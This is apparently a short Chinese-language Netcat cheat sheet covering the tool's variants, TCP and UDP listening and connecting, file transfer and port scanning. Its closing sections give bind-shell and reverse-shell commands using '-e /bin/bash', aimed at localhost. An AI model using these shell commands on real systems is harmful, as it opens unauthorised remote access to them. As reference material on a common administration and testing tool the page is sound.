Netcat
Sep 29, 2016
Netcat
首先 Netcat 分为几个实现,分别是 OpenBSD 版本,一般命令为 nc
,以及传统版,一般命令为 nc.traditional
或 netcat
,还有 Nmap 版本,一般命令为 ncat
.
本文大部分命令都适用以上三个版本,其中 -c
是 Nmap 版本所独有.
Telnet
ncat -v nat.moe 80
等同于 telnet nat.moe 80
TCP 通讯
ncat -l -v 12450
连接
ncat -v 1.1.1.1 12450
执行脚本
ncat -v -l 12345 -c "...."
保存文件
ncat -l -v 12345 > data.txt
UDP
添加 -u
即可.
ncat -v -ul 12345
连接时同理
ncat localhost -u 12345
端口扫描
nc -v -z -w 1 129.168.1.1 80-8080
其中 -z
阻止 ncat 从服务端接收数据, -w 1
代表连接上 1s 后立刻断开.
Shell
服务端
ncat -v -l -p 12345 -e /bin/bash
连接
ncat localhost 12345
反弹 Shell
服务端
ncat -v -l -p 12345
“连接”
ncat localhost 12345 -e /bin/bash
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.